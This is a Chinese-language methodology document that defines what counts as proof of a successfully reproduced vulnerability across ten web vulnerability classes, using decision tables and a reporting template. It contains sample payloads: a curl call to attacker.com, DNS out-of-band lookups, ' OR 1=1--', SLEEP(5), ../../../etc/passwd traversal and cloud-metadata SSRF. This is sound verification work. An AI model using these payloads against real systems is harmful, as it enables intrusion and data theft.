漏洞复现成功判定标准(完整版)
核心原则:每种漏洞类型都必须有特定的成功证据,HTTP 200 响应或代码存在 ≠ 漏洞可利用
通用规则
两阶段验证模型(适用于所有漏洞类型)
| 阶段 | 含义 | 示例 | 能否判定成功 |
|---|
| Stage 1 | 注入点/入口可达 | payload 到达了危险函数 | ❌ 不能 |
| Stage 2 | 实际利用成功 | 产生了预期的危害效果 | ✅ 可以 |
禁止的判定方式
| 错误判定 | 原因 |
|---|
| HTTP 200 响应 | 只表示服务器正常响应,不表示漏洞被利用 |
| "代码存在漏洞点" | 代码存在 ≠ 可利用,必须有实际利用证据 |
| "理论上可以..." | 假设性结论不能作为成功依据 |
| "如果没有防护就会..." | 必须验证防护是否存在并能否绕过 |
| "成功导入了模块" | 导入 ≠ 执行,必须证明代码被调用 |
必须的验证流程
发送攻击请求
↓
收到 HTTP 响应
↓
执行负面验证(关键!)
├─ 预期效果发生 → 确认成功
└─ 预期效果未发生 → 判定失败(即使 HTTP 200)
↓
记录证据
↓
输出结论
1. RCE(远程代码执行)成功标准
必须有以下至少一种证据
| 证据类型 | 说明 | 验证方法 | 示例 |
|---|
| 文件创建/修改 | 命令创建或修改了文件 | 检查文件是否存在 | touch /tmp/pwned && cat /tmp/pwned |
| 命令输出返回 | 响应中包含命令输出 | 检查响应内容 | 响应包含 uid=0(root) |
| DNS 外带 | 命令触发 DNS 请求 | 检查 DNS 日志 | nslookup xxxx.dnslog.cn |
| HTTP 外带 | 命令触发 HTTP 请求 | 检查 HTTP 日志 | curl http://attacker.com/pwned |
| 延时响应 | 命令导致明显延时 | 对比响应时间 | sleep 5 导致响应延迟 5s+ |
| 进程创建 | 命令创建了进程 | 检查进程列表 | ps aux 显示新进程 |
禁止作为 RCE 成功证据
| 错误证据 | 原因 |
|---|
| HTTP 200 响应 | 只表示服务器正常,不表示代码执行 |
| "成功导入了 os 模块" | 导入模块 ≠ 执行代码 |
| "payload 被接受" | 接受 ≠ 执行 |
| 页面正常渲染 | 不能证明 payload 被处理 |
| 无报错信息 | 可能是 payload 根本没到达 sink |
RCE 判定表
| 条件 | 判定 |
|---|
| HTTP 200 + 无执行证据 | ❌ 失败 |
| HTTP 200 + 命令输出返回 | ✅ 成功 |
| HTTP 200 + 文件创建验证通过 | ✅ 成功 |
| HTTP 200 + DNS/HTTP 外带确认 | ✅ 成功 |
| HTTP 200 + 明显延时(≥预期的80%) | ✅ 成功 |
| 成功导入危险模块但未调用 | ❌ 失败(仅证明注入点存在) |
2. SQL 注入成功标准
必须有以下至少一种证据
| 证据类型 | 说明 | 验证方法 | 示例 |
|---|
| 数据泄露 | 返回了非预期的数据库数据 | 响应包含敏感数据 | 返回其他用户信息、数据库版本 |
| 布尔盲注差异 | 真/假条件导致不同响应 | 对比两次响应 | 1=1 vs 1=2 响应不同 |
| 时间盲注延时 | 延时函数导致响应延迟 | 对比响应时间 | SLEEP(5) 延迟 5s+ |
| 报错注入 | 响应包含数据库错误信息 | 检查错误内容 | 返回数据库版本或表结构 |
| UNION 查询 | 成功合并查询结果 | 响应包含注入数据 | 返回 @@version 值 |
| 堆叠查询 | 成功执行多条语句 | 数据被修改/创建 | 插入测试数据成功 |
禁止作为 SQL 注入成功证据
| 错误证据 | 原因 |
|---|
| "参数拼接到 SQL 中" | 代码存在 ≠ 可利用 |
| HTTP 500 错误 | 可能是语法错误,不是成功注入 |
| "没有参数化查询" | 必须验证能否实际注入 |
SQL 注入判定表
| 条件 | 判定 |
|---|
发送 ' OR 1=1-- + 返回额外数据 | ✅ 成功 |
发送 ' OR 1=1-- + 响应无变化 | ❌ 失败(可能被过滤) |
SLEEP(5) + 响应延迟 5s+ | ✅ 成功(时间盲注) |
SLEEP(5) + 响应无延迟 | ❌ 失败 |
| 返回数据库错误但无敏感信息 | ⚠️ 部分成功(需进一步验证) |
| 框架使用 ORM/参数化查询 | ❌ 需验证能否绕过 |
3. XSS(跨站脚本)成功标准
必须有以下至少一种证据
| 证据类型 | 说明 | 验证方法 | 示例 |
|---|
| alert 弹窗 | 脚本成功执行弹窗 | 浏览器截图/自动检测 | alert(document.domain) 弹出 |
| DOM 修改 | 脚本修改了页面内容 | 检查 DOM 变化 | 页面出现注入内容 |
| Cookie 外带 | 脚本发送了 Cookie | 检查接收日志 | 收到 document.cookie 值 |
| 控制台输出 | 脚本输出到控制台 | 检查 Console 日志 | console.log() 输出 |
| 事件触发 | 事件处理器被执行 | 交互验证 | onload/onerror 触发 |
XSS 类型特定要求
| XSS 类型 | 额外要求 |
|---|
| 反射型 XSS | payload 在响应中原样返回并被浏览器执行 |
| 存储型 XSS | payload 被存储,其他用户访问时执行 |
| DOM XSS | JavaScript 代码处理用户输入导致执行 |
禁止作为 XSS 成功证据
| 错误证据 | 原因 |
|---|
| "payload 出现在响应中" | 出现 ≠ 执行,可能被编码或在安全上下文 |
| "没有对输入进行过滤" | 必须验证是否真的执行 |
HTTP 响应包含 <script> | 可能被 CSP 阻止或浏览器 XSS 过滤器拦截 |
XSS 判定表
| 条件 | 判定 |
|---|
| payload 返回 + alert 弹出 | ✅ 成功 |
| payload 返回 + 无弹窗(CSP 阻止) | ❌ 失败 |
| payload 返回 + HTML 实体编码 | ❌ 失败(已被防护) |
payload 返回 + 在 <script> 标签内 | ⚠️ 需验证是否执行 |
| payload 被过滤/移除 | ❌ 失败 |
4. SSRF(服务端请求伪造)成功标准
必须有以下至少一种证据
| 证据类型 | 说明 | 验证方法 | 示例 |
|---|
| 外部请求接收 | 服务器向攻击者服务器发起请求 | 检查 HTTP/DNS 日志 | 收到来自目标服务器的请求 |
| 内网资源访问 | 返回内网资源内容 | 检查响应内容 | 返回 169.254.169.254 元数据 |
| 端口扫描差异 | 开放/关闭端口响应不同 | 对比响应 | 开放端口返回内容,关闭返回错误 |
| 协议利用 | 利用其他协议(file://、gopher://) | 检查响应 | 返回本地文件内容 |
SSRF 判定表
| 条件 | 判定 |
|---|
请求 http://attacker.com + 收到请求 | ✅ 成功 |
请求 http://127.0.0.1 + 返回本地内容 | ✅ 成功 |
请求 http://169.254.169.254 + 返回云元数据 | ✅ 成功(严重) |
| 请求被 URL 白名单阻止 | ❌ 失败 |
| 请求被过滤但可绕过 | ✅ 成功(记录绕过方法) |
5. IDOR(不安全的直接对象引用)成功标准
必须有以下至少一种证据
| 证据类型 | 说明 | 验证方法 | 示例 |
|---|
| 越权读取 | 访问到其他用户/角色的数据 | 对比权限范围 | 用户A看到用户B的订单 |
| 越权修改 | 成功修改其他用户的数据 | 验证数据变更 | 修改他人个人信息成功 |
| 越权删除 | 成功删除其他用户的资源 | 验证资源消失 | 删除他人文件成功 |
| 响应差异枚举 | 不同ID返回不同响应类型 | 对比响应模式 | 存在返回数据,不存在返回404 |
IDOR 验证要求
必须验证:
1. 使用低权限账户(或未授权)
2. 访问高权限资源(其他用户/角色的数据)
3. 成功获取/修改/删除该资源
4. 证明绕过了授权检查
关键区分:
- 返回"权限不足"错误 → 失败(授权有效)
- 返回"资源不存在"错误 → 可能存在枚举问题
- 返回实际数据内容 → 成功(IDOR确认)
IDOR 判定表
| 条件 | 判定 |
|---|
| 低权限用户 + 访问他人数据成功 | ✅ 成功 |
| 低权限用户 + 返回"权限不足" | ❌ 失败(授权有效) |
| 匿名用户 + 访问敏感数据成功 | ✅ 成功(严重) |
| 响应差异可枚举有效ID | ⚠️ 部分成功(信息泄露) |
| 修改ID参数 + 无变化 | ❌ 失败 |
VUL-006 案例评估
报告声称:
- 匿名用户访问 Sales Order
- 存在的订单返回 417 ValidationError
- 不存在的订单返回 403 PermissionError
实际判定:
✅ 响应差异枚举: 确认(可枚举有效订单ID)
⚠️ 数据泄露: 部分(错误信息泄露订单存在,但未返回订单详情)
正确判定: PARTIAL(部分成功)
- 信息泄露: 可枚举有效订单ID
- 完整IDOR: 未证明能获取订单详细内容
需要补充:
- 是否能获取订单金额、客户信息等敏感数据
- 是否能通过其他方式读取完整订单内容
6. 路径遍历/LFI 成功标准
必须有以下至少一种证据
| 证据类型 | 说明 | 验证方法 | 示例 |
|---|
| 文件内容返回 | 响应包含目标文件内容 | 检查响应 | 返回 /etc/passwd 内容 |
| 敏感文件读取 | 读取到配置文件/源码 | 检查内容 | 返回数据库密码 |
| 目录列表 | 返回目录内文件列表 | 检查响应 | 返回 /var/www/ 目录结构 |
路径遍历判定表
| 条件 | 判定 |
|---|
../../../etc/passwd + 返回内容 | ✅ 成功 |
../../../etc/passwd + 返回 404 | ❌ 失败(路径规范化有效) |
....//....//etc/passwd 绕过 + 返回内容 | ✅ 成功 |
| 被 WAF 拦截 | ❌ 失败(除非能绕过) |
7. XXE(XML 外部实体注入)成功标准
必须有以下至少一种证据
| 证据类型 | 说明 | 验证方法 | 示例 |
|---|
| 文件内容返回 | 响应包含本地文件内容 | 检查响应 | 返回 /etc/passwd |
| SSRF 请求 | 触发服务器向外请求 | 检查外部日志 | DTD 服务器收到请求 |
| 报错信息泄露 | 错误信息包含敏感数据 | 检查错误内容 | 错误包含文件路径 |
| 盲 XXE 外带 | 通过 OOB 通道获取数据 | 检查外部日志 | DNS/HTTP 带出数据 |
XXE 判定表
| 条件 | 判定 |
|---|
| 提交 XXE payload + 返回文件内容 | ✅ 成功 |
| 提交 XXE payload + 触发 OOB 请求 | ✅ 成功 |
| 提交 XXE payload + 无响应变化 | ❌ 失败(可能禁用外部实体) |
| XML 解析器禁用 DTD | ❌ 失败 |
8. 认证绕过成功标准
必须有以下至少一种证据
| 证据类型 | 说明 | 验证方法 | 示例 |
|---|
| 未授权访问 | 绕过登录访问受保护资源 | 检查响应 | 无 cookie 访问管理页面 |
| 权限提升 | 低权限获得高权限能力 | 执行高权限操作 | 普通用户执行管理员操作 |
| 会话劫持 | 获取他人会话 | 验证身份 | 使用他人 session 登录 |
认证绕过判定表
| 条件 | 判定 |
|---|
| 无认证 + 访问管理功能成功 | ✅ 成功 |
| 修改 JWT + 获得更高权限 | ✅ 成功 |
| 绕过 2FA 验证 | ✅ 成功 |
| 返回"未授权"错误 | ❌ 失败 |
9. 文件上传漏洞成功标准
必须有以下至少一种证据
| 证据类型 | 说明 | 验证方法 | 示例 |
|---|
| 恶意文件执行 | 上传的脚本被执行 | 访问并触发 | webshell 执行命令 |
| 文件覆盖 | 覆盖了关键文件 | 验证文件变化 | 覆盖配置文件 |
| 绕过类型检查 | 上传被禁止的文件类型 | 验证上传成功 | .php 文件上传成功 |
文件上传判定表
| 条件 | 判定 |
|---|
| 上传 .php + 访问执行成功 | ✅ 成功(RCE) |
| 上传 .php + 被重命名为 .txt | ❌ 失败 |
| 绕过 MIME 检查 + 执行成功 | ✅ 成功 |
| 上传成功但无法访问执行 | ⚠️ 部分成功 |
10. CSRF(跨站请求伪造)成功标准
必须有以下至少一种证据
| 证据类型 | 说明 | 验证方法 | 示例 |
|---|
| 状态变更成功 | 用户无感知下状态被修改 | 验证数据变更 | 密码被修改 |
| 跨域请求成功 | 从攻击者域发起的请求成功 | 检查来源和结果 | 转账操作成功 |
CSRF 判定表
| 条件 | 判定 |
|---|
| 跨域请求 + 状态变更成功 | ✅ 成功 |
| 请求被 CSRF Token 阻止 | ❌ 失败 |
| 请求被 SameSite Cookie 阻止 | ❌ 失败 |
| 需要 CORS 预检但未通过 | ❌ 失败 |
综合判定流程图
┌─────────────────────────────────────────────────────────────┐
│ 漏洞复现判定流程 │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Step 1: 发送攻击请求 │
│ - 构造针对特定漏洞类型的 payload │
│ - 记录完整的请求和响应 │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Step 2: 检查漏洞类型特定的成功证据 │
│ - RCE: 命令输出/文件创建/延时/外带 │
│ - SQLi: 数据泄露/布尔差异/时间延时 │
│ - XSS: alert弹窗/DOM变化/Cookie外带 │
│ - SSRF: 外部请求/内网访问 │
│ - IDOR: 越权数据访问/修改 │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Step 3: 执行负面验证 │
│ - 检查预期的副作用是否真的发生 │
│ - 对比基准测试(无payload时的响应) │
│ - 排除误报可能 │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────┴─────────────┐
│ │
▼ ▼
┌───────────────────────┐ ┌───────────────────────┐
│ 证据充分 + 副作用发生 │ │ 证据不足 + 副作用未发生 │
│ → CONFIRMED │ │ → NOT_REPRODUCED │
└───────────────────────┘ └───────────────────────┘
│
▼
┌─────────────────────────────┐
│ 部分证据 + 需要进一步验证 │
│ → PARTIAL / NEEDS_REVIEW │
└─────────────────────────────┘
证据记录模板
必填字段
## 漏洞复现证据
### 基本信息
- **漏洞类型**: [RCE/SQLi/XSS/SSRF/IDOR/LFI/XXE/AuthBypass/FileUpload/CSRF]
- **复现日期**: [YYYY-MM-DD HH:MM:SS]
- **目标地址**: [URL]
### 攻击请求
```http
[完整的 HTTP 请求]
服务器响应
[完整的 HTTP 响应]
成功证据(必须)
- 证据类型: [参考上述各漏洞类型的证据类型]
- 证据内容: [具体的证据描述和数据]
- 验证方法: [如何验证这个证据是真实的]
负面验证(必须)
- 验证方法: [使用什么方法验证副作用]
- 验证结果: [PASS/FAIL]
- 验证详情: [具体说明]
结论
- 判定结果: [CONFIRMED/NOT_REPRODUCED/PARTIAL]
- 置信度: [HIGH/MEDIUM/LOW]
- 原因: [判定的具体依据]
---
## 版本历史
| 版本 | 日期 | 变更 |
|------|------|------|
| 1.0 | 2026-01-19 | 初始版本,包含 10 种漏洞类型的成功标准 |
---
**声明**: 本规则用于规范漏洞复现的判定标准,避免误报和漏报。所有复现必须有真实的执行证据,禁止仅凭代码分析或假设条件判定漏洞存在。